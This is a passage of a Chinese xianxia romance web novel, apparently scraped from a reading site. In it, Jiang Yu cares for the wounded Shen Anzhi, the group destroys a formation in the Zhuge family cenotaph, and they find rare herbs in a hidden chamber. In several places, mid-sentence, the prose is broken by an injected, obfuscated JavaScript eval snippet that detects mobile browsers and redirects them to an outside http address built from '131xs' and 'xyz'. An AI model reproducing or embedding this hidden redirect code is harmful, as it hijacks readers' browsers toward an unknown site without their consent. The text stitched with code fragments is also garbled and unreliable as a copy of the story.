沈安之冷峻到淡漠视线斜着寒光,不以为意地怏然挑动眉梢,面上却挂着温良笑意,陆斌接触这近乎诡异的眼神,下意识打了寒颤。 无人在意的角落,姜喻放轻脚步,蹑手蹑脚地偷绕到一侧。一头钻出灌木丛,强忍着荆棘扎进皮肤的痛意,手臂禁不住发颤,硬生生拖着比自己体格大了一倍的男人到安全位置。 若非他胸口略带起伏,姜喻都不敢去拖他的。 宁贺辞眼疾手快抛来一瓶药,“姜姑娘,我师兄暂且交给你照顾。” 姜喻接过药瓶,拿出丹药塞入伤者口里。见他面色逐渐红润,长舒一口气。 她不是什么无用之人。 简单处理好伤口,姜喻从树后探出头,战局未落下帷幕。 饶是沈安之在,居然和那剩下两头鬼物打的有来有往。 不知是不是她的错觉,总觉得他的玄衣胸口出洇出水渍痕迹。 沈安之抬剑,毫不犹豫地割破掌心,随手抹在剑身,炽热鲜血顺着指缝溢出,一滴滴滚在铜钱剑上。 他剑光快的骇人。 几人付出点代价才拿下难缠的鬼物,身上多多少少挂了彩。 两只鬼物倒地后化作两张黢黑的人形纸人。 宁贺辞捡起纸人放进一雕花棕色木盒,面色十分难看:“这符纸,果然和诸葛一脉有关。” 沈安之端着个人畜无害的笑,兴味索然地身形侧斜,掌心血液从指缝蜿蜒,抬眸正对上一道担忧的视线,视线呼吸略重了一瞬。 她是在担心自己? 姜喻脸色微白,提着裙裾小跑靠近。 沈安之没觉得疼吗? 每次受伤是怎么做到若无其事的? “快点处理一下掌心伤口。”姜喻垂眸替他包扎,抬首撞进一双幽深如渊的丹凤眸。 少年唇角微微上扬,她将丹药抵进他唇缝,咽药时唇瓣若有似无擦过她指尖,指尖触碰他薄唇似乎更带走了一丝别样的温度。 沈安之喉间溢出轻哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594434|171046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,意味不明地一笑,语气似戏谑又带了一分难言之欲,“师姐,这般担心我了?” 姜喻收回手,被他直勾勾看着心中异动,垂眸扬起唇角,“自然,师弟救我数次。”说完深吸一口气,笑着抬眸,“我担心你也是应该的。” “应该吗?依我看,师姐对其他人一般的好,确实是个……好心人。”沈安之意有所指,眸光瞥了眼树下重伤的蓬莱阁男子,宁贺辞陆斌几人都围着在检查伤势,无人注意到两人对话。 沈安之整理袖口,怏然瞥看她一眼:“师姐胆小,此刻偏不怕了。” 姜喻抬眸,“怕。可我不能像你一样除妖诛邪,那就力所能及去做在自保能力下,尽力之事。” 沈安之轻哼一声,不置可否,却也没有对她冷嘲热讽。 姜喻想去看看他们,被沈安之拉着衣袖,他快速收回手,“先去找此地阵眼,他们自会处理。” 姜喻点头,赶紧跟上他步伐,却听见身后有一道脚步。 “姜姑娘,沈公子,我也同去,我大概知晓阵眼所在。”宁贺辞大步跟上姜喻,立于她身侧后放慢脚步。 “哦?”沈安之侧首面挂温良笑意,眼底晦暗一闪而过。 宁贺辞知他对其敌意,便解释道:“诸葛世家最后一子诸葛瑾,世人只他死,却无人知晓他葬于何处。但刚刚见诸葛前辈的纸人,我恍然明白,或许诸葛一脉留有其人。而我夜访原诸葛府邸曾看见天乩城山势图,阵眼所在我和师兄们几人推测,应该在诸葛家的衣冠冢。” 姜喻听宁贺辞分析的头头是道,实属与原文分毫不差。 难怪小反派让他们走不出大山……阵眼只怕危机重重。 姜喻收敛不安地心绪,认同点头。 沈安之抱臂,指尖轻轻叩击手臂,“宁公子分析不无道理,请宁公子带路吧。” 有宁贺辞带路,三人跋涉约莫半炷香,拔剑砍断最后的拦路荆棘,眼前骤然现出半人高的野草在风中起伏如浪。青灰墓碑半数淹没在荒草间。 枯爪般的枝桠挂着散落褪色的红绸,唯有了了几根颜色稍显鲜艳。寒鸦掠过,更显萧条。 “这里便是诸葛家衣冠冢了。”宁贺辞扫了眼四周,压下声音道,“小心一点。” 沈安之走至枯树下,轻拂过一条红绸,指尖摩挲,“挂上去不过半月。” 姜喻的直觉告诉她,坟冢的山洞就此地了。 “我们分头行动。”沈安之对着宁贺辞说道。 沈安之往前走了三步倏然回身,他没听见熟悉的脚步跟上。 枯枝在他足底发出细碎声音,少年嗓音带着一丝别样的情绪,“师姐打算同我行动,还是说……想和宁公子结伴同行。” 姜喻犹豫一下走到他身侧,建议道:“此地情况未知,我们还是和宁公子结伴,也好互相照应。” 沈安之垂眸盯着她,自然没错过少女担忧地瞥了眼另外一人的小动作。 指尖铜钱剑嗡鸣了一声,回应着主人那道不明的情绪。燥郁在眼底浮动的刹那,尾指已勾住姜喻的衣袖往前身前一带。 21. 第21章 他目光扫落在她绯红衣裙,姜喻目光落在沈安之胸口,没有水渍的痕迹,这才抬起妍丽眸子与他视线交汇。 “呵,倘若让你必须选一个人了。”他不以为意地询问,目光却游移了一瞬她与宁贺辞。 “师姐我,肯定选你。” 姜喻顿感他偶尔提问分明是送命题,但还好她机智。 “是吗?”听到她的答案,他被取悦到轻哼一声。 沈安之敛眸盯紧她发顶,脑海念头一闪而过,困惑为何觉得燥郁又雀跃,薄唇掀起一丝弧度。 他满不在乎地放开她衣袖,指尖相互摩挲偏头扫了一眼宁贺辞,隐匿在长睫下阴鸷的眸光略带挑衅。“谁又在乎答案。” 说完他便转身持剑开路,往落月的西边走去。 今日满月,脚下荒草丛生看得格外清晰。 “师弟。”姜喻轻唤一声,沈安之并未回头,只是步伐似乎倒是慢了一些,姜喻赶紧跟上。 宁贺辞再傻也看出沈安之对他的化作实质的敌意。说不出来,但这种敌意有时候过于纯粹和微弱。 姜喻提着裙裾跟在沈安之一侧,视线扫过歪斜的墓碑,禁不住打个寒战。 沈安之瞥了眼她,放慢脚步用铜钱剑劈断荒草,捻着一颗栗子糖含在舌苔下。 三人越往坟地深处走,四周的狂风愈发肆意。风吹得睁不开眼,姜喻抬手遮住眼睛时,闻到顺风而下的一股甜香味。 沈安之缓在前,一步之遥,味道是从他身上传出。不同于他周身携带的皂角香,亦不知他爱的栗子糖,更像是一种蜜枣花的馨香。 只是这香味转瞬即逝…… 姜喻快步走了两步与沈安之同行,在坟地深处果真见一荒草遮掩的山洞。月光掠过坟茔,齐腰高的荒草下蛰伏在兽口状岩洞口,青苔斑驳的洞口爬满绿藤。 姜喻探头自他身后往里面看,顿感太顺利,反而有些不安。 三人走进去,温度骤减,姜喻被冻的起了一身鸡皮疙瘩。分明外面是秋高气爽,里面酷似寒冬腊月。 宁贺辞和沈安之修为不低,自然只能感觉体感不同,但没有姜喻这么大的反应。 “师姐,冷的很吗?” “我这不是很明显。”姜喻吸了吸鼻子,往沈安之身侧靠近一点,他周围莫名就暖和一些。 真是见了鬼。 沈安之自储物袋取出一件崭新的外披丢进她怀里,“师姐可别冻死在此地。” 姜喻笑着接过:“我才不会。” “师姐倒是惜命。”沈安之继续往前走,余光停留了一瞬。她利落地将墨色披风往身上一裹,葱白指尖灵巧翻飞,在披风细带上挽了个精巧的蝴蝶结。 他赶紧收回视线。 三人戒备地往前走,只听见洞穴深处发出悉悉索索的爬行声,无数红色爬虫齐齐钻出将三人围堵水泄不通。 “退后。”宁贺辞召出长剑,口中念念有词,指尖窜出一簇紫色火苗,以灵火攻之爬虫。 空气久久不散地弥漫着爬虫烧焦后的味道。 这些不算什么太麻烦。 姜喻下意识看向沈安之,疑惑一瞬。沈安之懒散惯了抱臂倚着石壁,敛眸不语,以往见此情形他总是比一般人更兴奋才对。 见宁贺辞处理很快,姜喻慢悠悠收回视线,不动声色地靠近沈安之几步,小声问道:“师弟,你无精打采,不舒服吗?” 沈安之摩挲铜钱的指尖微顿,轻哼一声,侧眸悄然避开她目光,抱臂继续往前走:“早点破开阵眼,早些回去。” 三人一路破除三道机关,抵达阵眼所在洞穴深处。 满壁散发银白微光的月光石,阵眼由五个纸扎人镇守,他们齐齐飞出直取众人命门。 姜喻本能地侧身,旋身急退,掏出袖口匕首,擦出一道泠泠冷光。匕首破风划开纸人面皮的刹那,刺啦裂帛声裹着白纸纷飞,露出内里青紫肿胀的皮肉,豁口处森白獠牙滴落浊液。 姜喻捂住口鼻微微蹙眉,腐气混着纸钱焦味直冲鼻腔。 姜喻庆幸她躲开及时。 沈安之铜钱剑剑光闪过,持剑挑开偷袭之爪,剑锋与鬼物利爪相撞迸出火星的刹那,沈安之余光瞥向洞穴顶部浑圆缺口,霜白满月正悬于阵眼之上。 那一轮皎白圆月正逐渐升至圆形中央,清辉逐步落满繁琐的阵法。 沈安之挑眉轻慢一笑,看向宁贺辞:“宁公子,我们速战速决。” “好。”宁贺辞拿出身上携带的全部纸符递给姜喻,“姜姑娘,我们为你拖延时间,你趁机布置纸符,炸毁阵眼。” “明白。” 见两人持剑而出与五只纸扎人作战,姜喻飞速接过纸符,一路小跑至阵眼。 有阻拦的纸扎人都让沈安之一剑格挡。 姜喻迅捷地将纸符一张张贴在阵法四周,催动体内微弱法力,随之一张张纸符冒出火苗,结界一寸寸龟裂成蜘蛛网似的,从空隙散发出耀眼的白光。 意识到不同寻常地危机感,她立马提裙退后,身子倏然抵靠一具温热身躯,吓得转身时额头正好抵着一根指尖,戳戳她脑门。 顺着指尖方向看去,她抬眸时恰逢沈安之垂下鸦睫,他薄唇略显苍白,勾起一抹玩味笑意:“这便怕了?” “师弟,阵眼似乎有问题……”姜喻差点又被他吓一跳。 沈安之收回手,很是随意捂住胸口,呼吸略显加重看向阵眼。 宁贺辞提剑解决完纸扎人却见阵眼如此,“有问题,先撤。” 三人原路返回狂奔,伴随着身后最后一丝光芒消失,整个山洞震动中开始坍塌落陷。 姜喻几乎下意识去抓着沈安之腕骨,“沈安之……”你不能死。 纷纷扬扬落下的巨石砸落,意料之中的疼痛没有降临,姜喻难以置信地抬眸,在她头顶一指处,沈安之撑起的结界勉强供三人无虞。 宁贺辞全力加入灵力注入结界中。 姜喻闻到了一股香甜混着血腥味,侧眸看去沈安之嘴角溢出一丝血,胸口沁出大片深色血渍,玄色衣襟本是看不显眼的,可抵不住大片洇出的痕迹,太好辨认。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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微颤的手只得钳住他苍白下颌,迫使沈安之微微张口,朱红丹药裹着灵气混合直灌咽喉,他的伤口亦不再出血。 她距离隔的近,甚至能够清晰闻出一道香甜味,正是从沈安之伤口溢出。 难不成,沈安之吃糖太多,血肉腌入味了…… 姜喻双膝匍匐着,俯身小心凑近,温热的呼吸喷洒在流畅勾勒的薄肌间,刺激得猝然醒来的沈安之眼尾泛起薄红。他略微垂眸,喘.息如碎玉坠地,唇边染着猩红血渍,却勾唇绽出玩味笑意:“师姐这般着急......是怕我死了没人陪你出去?” 姜喻听到沈安之嗓音,知他醒来激动得抬头,撞入那双晦暗不明的丹凤眸。 “师弟,你总算醒了……” “死不了。”沈安之撑起身子,靠着岩壁坐起身,随意用手背揩去嘴角猩红,微歪头紧盯着她。 22. 第22章 沈安之眸光悄然落在姜喻泛红的眼尾。 她刚刚几声呼唤倒是很担心他?而且,倒是毫不避讳得直呼他名? 他姿态慵懒,身子微前倾,“师姐以往师弟叫的热切,现如今,为何频频唤我全称?倒显得生分了……”最后一句尾音上扬,显得多了几分揶揄。 姜喻笑了两声,没管住死嘴比脑子叫这么快,平日她都是称呼姓名交往习惯了。 “情急之下,事急从权嘛……再说了,师姐那是担心你。”姜喻的思虑如潮,以后遣词用句亦当谨慎。 沈安之听到她又毫不避讳得念叨“担心”二字,难言脱口的情绪险些翻涌。一股热意灼得心口血脉发烫。 他微微捂住心口,姜喻见此又以为他伤口裂开。 她匍匐前倾身子,见他不知怎的偏头,手掌干脆撑着他肩头,近看没有渗血松了一口气,“还疼?” “没有。”沈安之长舒一口浊气,喉间无声滚动。压抑他黝黑内心深处道不清的兴奋,屈指试探地虚靠在她眼尾。 姜喻睫羽扫过的刹那,沈安之蓦地停在半空,收拢掌心。 见他停滞收回的动作,姜喻身形下意识微微后仰。 没错过她小动作的沈安之眸光一暗,微抿淡无血色的唇,摩挲着从袖口掉落掌心的铜钱。 姜喻见他又不开口,前倾身形眨着妍丽的眸子,关切问:“师弟,你感觉如何?” “小伤而已。”沈安之轻笑,默不作声得理了理胸前凌乱的衣襟,心海深处随平缓呼吸抑制躁动,指腹轻拂过心口。 那里是被她包扎之处。 “小伤?”她不敢置信地重复了一遍他的话,盯着他毫无破绽的笑颜,尾音低落下去带着一丝微不可察的轻颤,“这是小伤?你没看到那一道伤口有多恐怖,而且位置是在……心口。” 如果这便算是小伤,那他以前…… 姜喻抑制不住深思,指节攥住袖角微微泛白,掌心掐出月牙状印痕。 为什么她不早点发现,而且原著只字没提过沈安之这道隐晦的伤口…… “师弟,什么时候受的伤。”观他衣襟完整,那道狰狞的暗红旧疤绝非今日所受的伤口。 沈安之整理完倚靠岩壁偏过头闭目养神,慵懒地抱臂还胸,正好遮挡玄色衣襟上的血渍,“师姐,又何必追问。”话音刚落,他嘴角勾起一抹自嘲的笑,“我这等小伤,无需在乎。” “师弟……”姜喻呼吸凝滞在他漫不经心的笑中。没由来地气恼靠近他几分,死死盯着那人紧闭的鸦羽,齿关话语碾碎最后一丝犹豫,“我在乎。” 她几乎要望进他苍白眼皮下那双深邃的丹凤眸,“沈安之,你的命金贵得很——师姐我护定了。” 沈安之一愣,垂下的长睫轻颤了一瞬,下意识抿紧苍白薄唇,睁开丹凤眸与她视线相撞。 那双波澜不惊地墨眸总是一潭死水,今日却掀起一丝波澜。 沈安之绝不想不出,有一日他会为一句连承诺都算不上的话,而掀起一丝外泄的情绪。 沈安之敛下情绪,忽地一笑,眼尾朱砂痣妖冶异常,尾指轻勾上她的腰间丝绦抚弄在掌心,陡然欺身凑近她弯唇,嗓音低哑道:“师姐,你总是,让我很意外……”沈安之话音落定也不看她什么表情,继续靠着岩壁闭上眼。 意外什么了…… 他强行定义为,意外厌恶之人如今活蹦乱跳跟在他身边叽叽喳喳,像只永不疲惫的绯红小山雀跟随在他身旁,灵巧又捉摸不透。 她这么做的目的是什么。 沈安之脑海情不自禁浮现过去种种,千言万语,千般道不破的情绪却悄然凝结在使用真言术时他的提问。 她的那句喜欢…… 可他从不值得…… 姜喻见他不语,早习惯他话说一半。旁人想要撬开他的嘴知晓前因后果,本就是难上加难。 可她姜喻不是旁人,她有的是“力气”和“手段”。 姜喻想起刚刚分明看见他眼底翻涌着、浓郁的、化不开的情绪,她才惊觉沈安之并非可怖至极的“玉面阎罗”。 他从未把受伤之事看在眼底,甚至可以说冷漠到不关心他人,更不在乎自己。 可这人,既不是刀枪不入之身,也绝非油盐不进…… 沈安之,你到底经历了什么才会变成这样…… 姜喻举着火折子,余光控制不住地轻瞥他一眼,烛火在他面颊晃出妖异的影。 地穴潮湿阴寒,石壁渗着经年累月的湿气,寒意顺着身形而上,加之他又受了伤。姜喻默默解开墨色披风,搭在沈安之身前。 指尖似有若无地划过他的脖颈,她连忙收回手,发觉指腹挟着一丝不寻常的寒。 低温…… 姜喻想再试探触碰一下,指尖将触及对方衣领边缘时,腕间骤然被一只骨节分明的手握住。 沈安之轻松捏住她的纤细腕骨,尾指摩挲一下她跳动的脉搏,“师姐冻的哆嗦还有心思管别人。”靠着岩壁起身,随手取下披风。 沈安之略显苍白的俊容,鸦睫撒下一片阴影使得他眸色晦暗不明。 本该丢回去,又见她模样,鬼使神差地将墨色披风披在她身上,动作称不上粗鲁修长的手指捏着系带灵活翻动,在她锁骨前系上一个精巧的蝴蝶结。 垂眸盯着那双浸着三分潋滟水色的亮眸,她唇畔漾起一抹清浅笑意,沈安之嗓音低哑道:“不许取下来。” 姜喻一眼认出她教他的蝴蝶结系法,没想到他一遍就会。 唇角上扬,姜喻笑吟吟时眉眼弯弯,恰似新月坠入清泉,应答道:“好。” 倏然,一道急切地脚步声由远及近。 宁贺辞持剑匆匆赶来就见两人好似依偎一起的背影,轻咳嗽一声,又怕刻意,便慢下脚步,直至走近才轻声道:“沈公子你醒了。” “嗯。”沈安之随口应答,懒散抱臂倚着石壁看他。 被他看得有些难为情,宁贺辞瞥了一眼姜喻,二人好像无事发生,他不禁松一口气。清了清嗓子道:“我找到了一间密室,似乎存放着诸葛家的藏品。” 他指尖跃起一簇幽蓝灵火,堪堪照亮湿冷甬道。宁贺辞走在前几步带路,三人踏过泥泞的地穴。 姜喻走在中间,而走在最后的沈安之像团化不开的墨。脚步声细微,轻得很,姜喻想到了猫。 她略微放慢脚步,与沈安之并肩而行。 “到了。”宁贺辞在一道石壁前驻足,灵火猛地窜高,显露出石壁上密密麻麻的符咒。 姜喻差点撞到宁贺辞后背,沈安之拉着她后衣领堪堪停住脚步。 她正要开口,却见沈安之指尖在她耳畔轻扬,从她鬓边猛地窜出一只紫黑色毒蛛,被他两指挑飞。 宁贺辞眼见毒蛛落地,调转灵火烧去成灰,小声提醒:“当心了。”说完口中默念口诀,密室大门打开。 一股沉闷味道扑面而来,姜喻赶紧捂住口鼻咳嗽了两声闭上眼。 待三息后,三人这才看清密室陈设。 三列覆满蛛网的檀木架子,摆放之物皆落满灰尘。 姜喻指尖抚过灵器表面龟裂的纹理,随她触碰簌簌剥落外壳。所有器物本该流转的灵力,此刻像干涸的河床般死寂。 “这些东西带出去有用吗?”姜喻随口一问,目光在架子上逡巡。 “大多灵器无用,不过也有那么一两件尚可。”宁贺辞拿起一把玄铁锻造的照妖镜,看见镜中一闪而过的绯红人影,略显扭曲了一瞬。 他再抬眼看去身后的姜喻,正在把玩一块剔透的水晶石,她手举的火折子微光透过水晶石倒是让人眼花。 宁贺辞只当是自己眼花了。 沈安之指尖随意在台面划过一道弧度,指腹摩挲着簌簌落下的灰尘,“幕后之人只怕都不知诸葛家衣冠冢内还存有间密室。” “倒让我们捡漏了。”姜喻笑盈盈地放下水晶石,骤然眼前一亮。 得来全不费工夫,这里是原著提到宝库了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618843|171046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 按捺住激动心绪,姜喻提起裙裾开始游走,利用左眼的能力仔细搜寻不放过一点蛛丝马迹。天不负有心之人,总算让她在密室不起眼的角落,堆放的零碎杂货中翻找出一个红木药箱。 脸颊沾着灰尘,身上落了蛛丝,她来不及在意,手脚并用地拖出红木药箱,差点栽了跟头。 她这边响动惊动两人一齐聚过来。 “姜姑娘。” “师姐,又在作何?” 两道声音齐齐在身后响起。 “我找到的。” 随着“咯吱”一声,箱盖打开。箱内沉闷味道混杂一股清新药香,令在场人皆是灵台清明。 三人一眼望去,红木药箱内摆放有大小不一的瓶瓶罐罐。随机打开两瓶,竟然皆是上品补灵丹、止血丸。 姜喻招呼沈安之、宁贺辞靠近些,“这些东西见者有份,全给你们,我呢……”她故意停顿指了指最底下几个药匣子,“我要这些匣子就行。” “姜姑娘,草药灵力消散极快。既然这些都是姜姑娘先发现的,你可多挑选一些带走。”宁贺辞摩挲下巴,见到上品丹药,任何修士见之都难以拒绝,他更认为此番对姜喻太不公平。 “不用了,宁公子。这些足够了。”姜喻笑盈盈地抬眸,轻轻摩挲着匣子上的莲花纹。 沈安之不用声色地抱臂走到二人中间,弯腰随手拿起木匣子轻摇,听到里面草药轻轻晃动的声音递给姜喻,“师姐想要就拿着吧。” 见她执意如此,宁贺辞再没了异议。 火光摇曳间,她指尖发颤地抚过五个药匣子。 第一匣腐化为枯草。 第二匣腐化为枯草。 心里不免咯噔一下。 不对劲。 她怎么打开都是枯草。 “姜姑娘,我看要不算了吧。”宁贺辞这人最怕小姑娘眼眶掉小珍珠。眼看姜喻额头禁不住沁出细密汗珠,可想她有多紧张和失望。 姜喻深吸一口气,“还有三个。” “开吧。”沈安之倚着墙壁压低呼吸,面色隐匿在黑暗中只露出模糊的轮廓,目光却任然落在那道绯红人影上。 姜喻一鼓作气。 第三匣龙鳞柏。 第四匣血玉髓。 待掀开第五只莲花纹木匣时,泠泠雪魄花的清香漫出,正是沈安之抑晦丹所需的其中一味珍稀药材。 虽然只找到一味草药,但已经是极好的开始了。 姜喻眼底骤然一亮,笑意盈盈地抬眸与昏暗中的沈安之四目相对,轻笑道:“不错吧,师弟。” “嗯。”沈安之看向她眼神带了一丝幽深,眼底划过一抹诧异。 “居然能保存如此之好?”宁贺辞惊疑了一瞬,定了定神恢复神情。 这三样在外有市无价,没想到能见到保存完整且品相不错的。 宁贺辞浅笑着看向姜喻,“姜姑娘运气真是不错。” “过奖,宁公子。”姜喻笑着将木匣子轻声关好,顺手走过去拿走沈安之挂在腰间的储物袋,将木匣子一一放进去。 他没有出手制止某人擅自做主的举动。 “师姐,真是越来越大胆了……”沈安之静静地垂眸凝望少女笑颜,她唇角弧度浸着三分暖意。 “一般一般。” * 待三人搜罗完有用的东西,便合计寻找出去的方法。 姜喻手指搅动着衣袖,立于沈安之一旁。 手握原著,她知晓密室有一个残缺的传送阵,但不知该怎么神不知鬼不觉地让两人发现,便找个理由让两人分散找找暗道的借口支走。 手举火折子,提着裙裾沿着第三列架子快步往前走了几步。陡然,耳鬓发丝飞扬,似有人附耳小声吹了口寒气,冷得人身形一颤。 姜喻捂住莹白的耳朵往旁边闪躲,后背撞到架子发出“哐啷”一声,疼得她努了努嘴,下意识抽出袖口短刀转身。 可她身后空空如也。 23. 第23章 姜喻咬紧牙关抑制后怕,侧耳倾听黑暗中的动静。 空间内似有重物倒地,伴随着一声微弱到难以察觉的闷哼。 姜喻屏住呼吸,攥紧掌心的刀柄,小心翼翼靠近声源。 “姜喻。”熟悉轻唤自她身后传出。 姜喻扭头望去又是空无一人,姜喻困惑道:“师弟,别吓我了……” 沈安之怎么可能唤她“姜喻”。 “在这边。”熟悉的声音再次从她背后传出。 姜喻气恼地回身,赫然与一双全白眼瞳对上视线。腐烂的皮肉从骨架簌簌剥落,一双血淋淋的双手死死地钳住她的脖子,翕动腐烂的薄唇轻启:“去死。” 姜喻死死抠住颈间铁钳般的手掌,指节泛白,几乎陷入对方血肉。对面扭曲的面容只剩下半块皮肉挂在头骨,依稀可见是沈安之的部分面容。 来不及深思,颈间勒痕狰狞交错,脖颈处红印斑驳。她反手将刀刃狠狠劈向“沈安之”小臂,寒芒过处仅在他手臂只留下一道血痕。 那人竟连睫毛都未颤动分毫,苍白指节反而收得更紧,逼着姜喻从窒息的喉管里挤出破碎字句:“放、放……开” 骤然间,姜喻脖颈挂着的木牌护身符自衣襟处迸射出一道耀眼金光,刺得那鬼物发出尖利嘶鸣,黏腻诡异的身躯在光芒中痉挛,化作八腿毒蛛,断裂成焦黑碎屑,最终瘫软化作一滩腥臭血水。 姜喻捂住脖颈大口喘.息,靠着架子挪步远离血水,脖颈护身符微微发烫,她取出来细看,上面多了一道细微裂纹,她赶紧收好。 这东西以后说不一定还能救她一命。 姜喻想到刚入密室前曾遇到了毒蛛,比刚刚这一只来说,可谓小巫见大巫。 沈安之和宁贺辞不知怎么样! 照理说她这般闹出的动静,密室这么大点地方,早该来了才对。 姜喻弯腰捡起明灭不定的火折子,急促喘.息,干咽了一口,正要强撑折返。 忽听得身后传来一声割裂死寂的闷哼,悬在黢黑的尽头尤为清晰。 脚步声逼近密室尽头时,墙根处蜷缩的黑影骤然瑟缩。 姜喻警惕地驻足,脑海想过无数种可能。 鬼?妖?或者其他奇形怪状的东西。 她紧张地绷紧脊背,蓄势待发地握紧短刀。 她驻足脚步,手中火折子跃动的火光撕开黑暗,映出少年凌乱垂落的发丝,苍白手指死死抠进密室的石砖缝隙。 她窥见那张布满冷汗的脸庞,在烛火明灭间忽隐忽现。 沈安之? 姜喻瞳孔骤然缩紧,还未迈步,一把悬起的铜钱剑横亘在她眼前,沈安之扶墙执剑起身双目布满红血丝。抬眸看清来人是姜喻,又瞧见她脖颈红痕,骤然出了神,攥住胸口衣襟,唇齿间溢出嘶哑字句声:“你……我奉劝你走远点……” 话音未落,铜钱剑铿然坠地。 沈安之捂住胸口如遭重锤,喉间腥甜上涌时仍死死咬住牙关,血色自唇角蜿蜒而下。寒意染上他的眉宇,咬紧后槽牙抑制体内翻涌热意和寒意撕扯的力量,白霜从衣襟附着攀爬至发丝。 姜喻血色从唇边褪得干干净净,快步走扶着他的手被躲开,“沈……师弟,我救你出去……” 眼睁睁看着伸来的手被自己躲开,沈安之咽下喉中腥甜,脸色刷白倚着墙壁盘腿坐下,筋脉间灵力逆冲的灼痛几乎要将他撕裂。冷汗浸透鬓发,狼狈地贴在苍白的颊侧。他死死咬紧牙关,将破碎的呻吟咽回喉间,眼前恍惚出现走马灯的幻觉,沈安之捂住脑袋蜷缩在墙角。 “走,我喊你走。听见没,姜喻!” “看见我这般狼狈,为何不走!” “走啊!” “我不走。”姜喻声音不大,足够他听得一清二楚。她的回答,字字如磐石坠入古井不波的心湖。 指骨猛地收紧,手背上青筋暴起,捏得骨节都泛了白。沈安之眸光撞上那双坚定的眸子,竟有刹那的失神。下一瞬紧绷的力道却又泄了,掌心微微松开。 他的嘲讽黯然被无声咽下。 眼见他浑身冷汗蜷缩在墙角,姜喻眼底透着一股从未有过的执拗,“我不走。你休想赶我走……” 姜喻头脑风暴,上前抱上他蜷缩的身形,把披风解下盖在他头顶笼罩他,垂眸看着他的丹凤眸,压低声音凑近他耳边一字一句道:“别怕,我在。我保证,没有第三个人能看见师弟现在的样子。” 沈安之闻到耳畔如兰的馨香,怔愣的脊背紧绷,连身上反噬的疼痛都如潮水般悄然退去几分。 这副被反噬折磨的狼狈模样,本不该让她看见。 为什么…… 为什么…… 随着蜘蛛网似缝隙的崩裂声,一道脚步声疾步靠近两人。 宁贺辞快步来时,只看见姜喻一个人着急忙慌地站在架子中央站定。 “姜姑娘你没事吧,蜘蛛妖狡诈设下阵法,差点中了它奸计。”宁贺辞看清她脖颈红痕,眼中满是担忧,急切问,“你脖颈的伤痕,可出了什么事情?” 姜喻看见他赶紧凑上前,有意站定在他一步之遥,道:“宁公子我没事,我想起来刚才看见有一道残缺的阵法,好像是传送阵……” 宁贺辞精神一振,道:“姜姑娘可还记得在哪吗?” 姜喻指了指右边,“这边,密室的墙壁上。” “好,姜姑娘在这里等我。”宁贺辞走了几步,余光瞥见披风似乎在角落中晃动了一瞬,顿时警觉道,“姜姑娘,那是什么?” “没事,我的披风落了水,晾在那边。”姜喻解释道。 “原来如此。” 姜喻面露毫无破绽地笑意,连连点头。 见宁贺辞走远,姜喻不动声色地松了一口气。 赶紧走到另外一边,看见披着墨色披风,盘腿面壁坐下,正在调息的沈安之安然无恙,心里不安稍稳落地。 姜喻屈膝坐下,一整个晚上都没有合眼,她摸了摸犯着刺疼的脖颈昏昏欲睡。'' 她答应沈安之绝不让其他人看见,强撑着靠在岩壁等他清醒。 不确定宁贺辞能不能研究出传送阵,若他再来,自己得想个万全之策。 不知过了多久,姜喻迷迷糊糊中总算在平稳的呼吸声中听到一声近乎细小的衣料摩擦声。 姜喻冻的哆嗦,眼眶熬得通红,寻声地抬眸,对上一双如墨的丹凤眸。 “师弟,你醒了。” 沈安之取下披风,紧紧攥在掌心。看着她此刻守在身边的绯红身影,心底那莫名翻涌的情绪险些翻涌而出。 喉结滚动,声音带着一丝不易察觉的紧绷:“不是让你别取下的吗?” 姜喻揉了揉困倦的眼,将披风轻轻推回他身前,声音低柔却固执:“可你……比我更需要它。” 沈安之吐出一口浊气,墨色披风重新给姜喻裹紧。 她困的眼前恍惚,连声打着哈欠,只能任由沈安之的举动。 待宁贺辞来时,从他角度看去姜喻背对他,困怏怏地靠在沈安之怀里。 姜喻错开一步探头看去,“宁公子,传送阵补齐全了?” “嗯,走吧。“宁贺辞温润一笑,没有错过沈安之眼底意味不明得笑,面色不改地转身带路。 沈安之垂眸紧盯着少女面容,眼下带着倦意,打着哈欠跟在宁贺辞身后。 沈安之两步并一步与姜喻并肩同行,眼神似有若无地扫过宁贺辞背影,眼底晦暗一闪而过。 传送阵光芒散尽,三人身影甫一落定,便陷在了一片瘴气弥漫的诡谲山林之中。灰绿色的雾气如活物般在林间游走,带着腐朽味令人呼吸微窒。 宁贺辞足尖刚触及湿滑的地面,腰间传讯玉佩便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈安之坐在桌岸前,持剑杀伐果断的手上却熟稔的穿针引线,他娴熟落下一针,隐约窥见似乎绣上一只雪白的仙鹤,仰着脖子与鹤门宗的弟子服饰样式无二。 